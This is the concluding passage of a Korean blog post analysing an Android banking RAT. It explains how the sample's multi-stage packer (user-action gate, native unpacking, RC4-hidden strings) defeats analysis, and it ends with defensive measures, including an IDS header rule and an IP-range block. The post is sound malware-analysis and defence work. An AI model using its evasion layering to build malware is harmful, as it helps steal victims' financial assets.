  8. Windows Defender 가 .so 만 정확히 격리 — 시그니처 DB 에 이미 등록된 알려진 위협

여덟 개 신호의 교집합은 한 가지 결론밖에 안 남긴다 — 금융 자산 탈취 목적의 안드로이드 뱅킹 RAT.


7. 마무리 — 이 검체에서 배울 수 있는 것

리버싱 측면에서 이 검체는 모범적인 다단계 패커다. 각 단계가 다음 단계 분석을 다른 방식으로 어렵게 만든다.

  • Stage 1 → 2: 사용자 동작이 있어야 풀린다 (사회공학 단계가 분석 환경에서도 동일 필요)
  • Stage 2 → 3: 네이티브 코드 안에서 일어난다 (Java 만 보면 못 풀음)
  • Stage 3: 문자열·필드명·URL·응답이 모두 또 한 번 RC4 (런타임에서만 평문 존재)

그래서 Java/dex 만 보는 분석가는 “거의 빈 APK” 라고 결론낼 위험이 있고, 네이티브 디스어셈블만 하는 분석가는 RC4 키는 잡아도 “뭘 푸는지” 추적이 어렵다. 두 도구를 같이 써야 끝이 보인다.

방어 측면에서는 다음이 중요하다.

  • 사이드로드 APK 화이트리스트 강제 — Play 외 설치 금지가 가장 강력한 방어
  • AccessibilityService 활성 알림 — 사용자가 활성화하는 순간 이상 신호로 보고
  • Packets-sent 같은 커스텀 헤더 IDS 룰
  • 176.123.0.0/16 PQ Hosting 대역 차단

이 한 검체에 들어있는 보호 기술은 모두 표준 RC4, 표준 리플렉션, 표준 PackageInstaller API 이다. 어떤 기법도 새롭지 않다. 그런데도 8단 적층으로 쌓아두면 충분히 무서워진다 — 모바일 뱅킹 멀웨어가 어디까지 왔는지 보여주는 한 표본이다.

This post is licensed under CC BY 4.0 by the author.
If you find any errors, please let me know by comment or email. Thank you.

© Ruffalo. Some rights reserved.

I'm

Using the Chirpy theme for Jekyll.